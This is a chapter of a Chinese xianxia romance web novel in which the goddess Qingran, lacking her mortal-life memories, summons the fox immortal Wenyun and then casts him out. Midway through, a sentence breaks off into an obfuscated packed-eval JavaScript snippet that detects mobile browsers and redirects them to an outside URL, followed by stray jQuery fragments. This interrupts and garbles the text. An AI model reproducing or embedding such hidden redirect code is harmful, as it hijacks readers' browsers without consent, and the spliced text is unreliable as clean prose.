88. 将计就计
作品:《清冷仙君追妻火葬场了》 司命明显是故意的。
前日夜里,文昀便来寻过他,还带了神女失了下凡历劫时记忆的消息。
也就是在那一刻,他便知道神女定然会传召他。
身为司命,虽有责任保证神女在凡命数按既定轨迹运行,可凡事总会有例外,尤其是神族历劫,意外频生,难以预料。
况且,还有魔族作祟。
其实只要他呈上命簿,再将魔族入侵冥界之事如实禀报,神女自然能通过命簿所记找回记忆。
且不降罪于他。
文昀显然也知道这一点。
可是在姜冉踏入轮回的瞬间,那命簿便突然无火自燃,他用尽一切办法,却只能眼睁睁看着它化为一片灰烬。
从那一刻起,与姜冉有关的一切仿佛就消失殆尽了。
命簿没了,小渔村的风水铺子成了一片废墟,就连她重回神宫也没了从前的记忆。
姜冉存在于这世间的一切都被抹得一干二净,好似她从未来过一般。
那些锥心刺骨的回忆虚无缥缈,仿佛只是一场梦魇,独独将他一人困住,永世不得解脱。
文昀拖着几乎散了七成仙力的身体直奔司命殿,恳求司命助清染恢复记忆,并将在幽冥偶然所得的修补寻影灯之法告诉了他。
他知道清染一定会召见司命,而这是他能再与她产生交集的唯一机会了。
司命同意了。
其实就算文昀不求他,他也会想办法恢复神女的记忆。
当初为斩断姜冉七情,他干了不少棒打鸳鸯的缺德事。
姜冉死的那日,应是肝肠寸断、万念俱灰,更是恨极了文昀。
对于姜冉和文昀,他终是有愧的。
他们之间的因果线原是他亲手织起,可最终也由他亲手剪断。
这场宿命轮回,他既是缘起之人,亦是缘灭之手。
无论岁月如何更迭,他对姜冉与文昀的愧疚,恐怕会成为心中一辈子的伤痛。
一阵风掠过。
梅香幽然,清气袭人。
许久没听到清染的回答,司命忍不住掀起眼皮子去看她。
那张清丽的面容虽依旧保持着平日的冷静,但紧抿的唇角和微蹙的眉心却无一不透着她的犹豫。
司命扬了扬眉,煞有其事地摸了摸颌下的羊角须,试探地问了句:“神女可是觉得为难?其实小仙与文昀仙君倒是有几分交情,不如小仙替您去求雪松树心?”
说罢还朝她使了个“交给我,你放心”的眼色。
清染确实觉得有些为难。
毕竟前日里,她对文昀的态度当真算不上好。
刚把人轰出去,转头又有事相求,只想想便觉得别扭万分。
可求人办事本就讲究个诚心,若真让司命代为求取,将来此事若在三界传开,神宫威严何在?
是以,清染端坐于主位之上,下颌微抬,眼神没有半分闪躲:“神宫诸事,不劳司命挂怀。”
司命撇了一眼那张少年老成的脸,看出了她是死鸭子嘴硬。
但他却装作视而不见。
费尽心机演了这一出戏,本意就是要让清染亲自去寻文昀。
目的达到了,司命也不愿再多留。
于是,他慢悠悠地起身行了个礼,垂下头的瞬间,嘴角抑制不住勾起一个弧度:“是小仙逾矩了。”
这抹笑掩饰得很好,却并未逃过清染的眼睛。
不过她并未戳破,只动了动手指叫他退下。
看着司命离开时略显轻快的脚步,她愈发笃定,司命有事瞒着她!
起初她以为司命故意藏起命簿不想让她恢复记忆,可她用神识探了好几遍,确实未能感应到命簿的下落。
命簿确实是不见了,可司命葫芦里卖得是什么药,她一时半会儿是当真猜不出来。
这小老头虽狡黠,不过有一点他说的没错,恢复记忆迫在眉睫。
且修复寻影灯似乎确实是目前唯一的办法了......
*
时隔百年,文昀终是回到了幻月谷。
甫一踏入谷中,在雪松林中修炼的灵狐纷纷赶来迎接,泽尘更是飞扑而来,俯首跪地,带着哭腔道:“仙君,您终于回来了!”
神宫到距离九重天本就有一段距离,再加上接了九道天雷,还绕道去了命殿,文昀这会儿就是连站着都觉得有些费劲,更无精力再应付一群狐狸,只道:“起来,备水,我要沐浴更衣。”
直到听到气若游丝的声音,泽尘这才反应过来自家仙君伤得不轻,他下意识抬眸去看,却在撞见那双一如既往清冷的眼眸时愣住了。
那双凤眸中已找不见悲痛欲绝的哀伤,也看不到悔恨交加的自责。
隔了百年,他竟在自家仙君的眉宇间捕捉到了一抹久违的明朗,仿佛是历经风雨后,终于守得云开见月明的释然。
他这是放下了?
泽尘忽然想到百年前姜冉神形俱灭后的日子。
找到自家仙君的时候,他已在诛仙台上坐了一天一夜。
那一幕,他这辈子都忘不了。
大雨瓢泼,狂风肆虐。
文昀就坐在曾绑着姜冉的那根石柱下。
如墨般的发丝在一夕之间竟变得苍白如霜,又因浸了雨水,胡乱沾在他的脸颊和衣服上。
泽尘呆愣了很久才回过神来,小心翼翼走到他身侧蹲下,声音轻得像是怕惊到他:“仙君。”
文昀听到了,但不想理他。
泽尘便掐了道灵力遮在他头顶,轻声劝道:“姜姑娘已经走了,人死不能复生,仙君节哀。”
文昀这才抬眼来看他,面色空茫,眼中一片木然。
说实话,泽尘吓得不轻。
自化形以来,他跟着文昀也有几百年,时间虽算不上多长,却从未见过他这般颓然,好似连命都可以不要了。
他心中恐慌,自然说话也带着哭腔:“仙君,我们回去还不好?”
“回去……回哪里?”文昀艰难地开口,喉间剧痛,声音嘶哑得快发不出声来,“姜冉……死了……”
泽尘记得,那时文昀的唇白吓人,话音才落下,血便从唇角溢出,顷刻就将那苍白的唇色染得鲜红。
短短一句话竟耗尽了他几乎所有力气,文昀再也撑不住那副身躯,直直倒下。
泽尘忙不迭地去接,却看到他用仅剩的力气往自己怀中塞了张皱皱巴巴的纸:“收好......”
他一眼就看到了页脚那枚落印。
是契约书!
姜冉与仙君在小渔村签订的。那日,他也在场。
至此,泽尘才有一点明白,姜冉在他家仙君心中究竟有多重要。
后来,文昀更是用一百年来证明,姜冉在他进中所占之位远非“重要”二字所能尽述。
更像是一把深深扎入心底的匕首,只提及便可令他痛不欲生,日日不得安宁。
文昀于幽冥百年,泽尘不敢问,更不敢劝。
甚至觉得他家仙君此生或许注定就如此了,沉溺于过往的回忆之中,日复一日地被那无尽的悔恨所折磨,永生无法自拔。
再回神时,眼泪已夺眶而出。
泽尘吸吸鼻子,应一声便跑去备水。
文昀回到寝殿沐浴更衣,又用了些伤药,颓然之气消失殆尽,仿佛还是曾经那个矜贵清冷、清雅绝尘的仙君。
若非一头白发,那百年时光还真如一场梦境般叫人恍惚。
泽尘准备了酒菜。
文昀却并无兴致,只泡了壶茶,靠在殿外那棵雪松树上,双眼微眯,看向幻月谷入口处的那条小道。
这一坐,便是三天三夜。
直至第三日的黄昏时分,天边的晚霞将幻月谷上空渲染成一片粉紫交织的绮丽之色,绿濯的身影终于在幻乐谷显现。
“文昀仙君,神女有请。”
*
东亭内,清染头戴金冠,身着一袭金色流云锦袍,腰间素色缎带盈盈一握,更衬得她身段纤细。
眉眼如墨,樱唇点红。
她似乎没注意到有人来,正低垂着眼眸,纤长的指尖轻握着白玉茶盏,视线就落在那盏清亮的茶汤之中。
文昀踏入东亭时,恰好瞧见这一幕。
他从未见她穿过华服。
前世,她还是姜冉的时候,因常年习武,常着紧身劲装,英气逼人,自有一番飒爽之美。
初回神宫那日,她身着一袭莹白色的暗花织锦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14465606|144615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长裙,未施粉黛,瞧着只有洗净铅华的清雅之韵。
唯独没见过她如今这般。
端庄秀丽,举止间流露出神女独有的威严与仪态。
文昀贪恋地看了几眼,喉结不由自主地上下滚动,但他终是收回视线,恭敬行礼:“见过神女。”
清染没留意到他的神情。
宽大的袖袍从身侧挥过,一道金色的灵力自掌心而出,绕着东亭飞了一圈。
随着神力掠过,一件件闪着盈盈流光的法器逐一在虚空中浮现。
灵蕴天珠,玄光琉璃盏,七星剑,镇魂铃……
粗粗一数,约莫十余件。
文昀被金光晃了眼,不由抬眸看去,一时有些发怔,不知她要做什么。
法器尽数显现,清染葱白似的手指在虚空中一点,待那些法器飞到文昀眼前排成两列,才道:“这些都是神宫珍藏,文昀仙君看上哪件,便挑了去。”
文昀却收回视线,沉声道:“无功不受禄,小仙不敢。”
“本座让你挑便挑!”清染扬声堵了回去。
见她这般,文昀倒是忽然明白了她的用意,但他不好点破,只能装傻问道:“可否劳烦神女告知小仙缘由?”
清染端起手中茶盏抿了一口,又装作漫不经心地将其放下:“本座要你谷中上古雪松的树心,故用法器交换。”
文昀恍然大悟般扬起了眉稍:“神女若有需要,自当双手奉上树心,至于这些法器,小仙没有看上的。”
没有看上的?
清染带着笑意唇角缓缓压了下来。
文昀一直悄悄观察着清染,见她眼底似有愠色浮起,又开口道:“若能有机会陪在神女身旁,便可抵过此间所有至宝。”
清染在心底将这话翻来覆去琢磨了几遍,才逐渐接受这狐狸不要上古法器,竟想着跟在她身边的事实!
谁给他的胆子?
他把她的神宫当成什么地方了?
“放肆!”
清染的手指隔着虚空一握,文昀便感觉到胸口的衣领被猛地提起,明明相距甚远,那道极力控制着怒意的声音却像是在耳畔响起。
“你是觉得,离了雪松树心,本座便没办法了是么?”
文昀看向她的双眼,一瞬不离,眼底的柔光带着叫人不可忽视的真诚:“不敢!只是千年前神女对小仙有救命之恩,好不容易等到您历劫归来,便想来报当年这份恩情。”
神女的性子他早有耳闻。
漫无尽头的岁月早就将她的情绪磨得无波无澜。
不会轻易动怒,亦不会为谁而动心。
其实文昀心中很明白,当年神女用一分神元救他性命并非出于私情,只因为她不想让仙族少了一个能与魔族相抗之人。
换句话说,清染关心的唯有三界之安宁。
可她如今没有了姜冉的记忆。
那些独属于二人的,或甜或苦或喜或悲的经历就都成了他的独角戏。
他们之间唯一的牵绊便只有一分神元的救命之恩。
果然,清染并不以为意。
甚至因他提及旧事而颇为头疼。
真是麻烦啊!
纤细的手指紧紧扣在茶盏之上,指尖隐隐泛着白。
她救人的本意是为了对抗魔族,而并非也并不想与他牵扯上任何关系。
闭关千年,又下凡历劫一百二十载。
她以为,千年时光已经足够长了,无论是爱恨情仇还是恩怨纠葛,在这漫漫时光中早该被磨平了,冲淡了。
可谁知她竟是想错了!
清染瞥了眼那双黑白分明的凤眸,心中划过一道没由来的烦闷。
她忽然意识到,一向如止水般宁静的心境,在每一次与文昀有交集时,竟都被搅得汹涌澎湃,似有一股沉寂于心底的怒火被点燃,随时准备喷涌而出。
应该有近万年了吧,已有这么久都不曾再有过这样的感受了。
清染心中划过一道警觉,不想再同他废口舌,亦不想遂了他的愿。
手中神力一转,将那狐狸一掌推出了东亭。
如琥珀般的桃花眼中泛着冷泠泠的光,只道:“不必了,雪松树心本座不要了,这神宫你也不必再来。”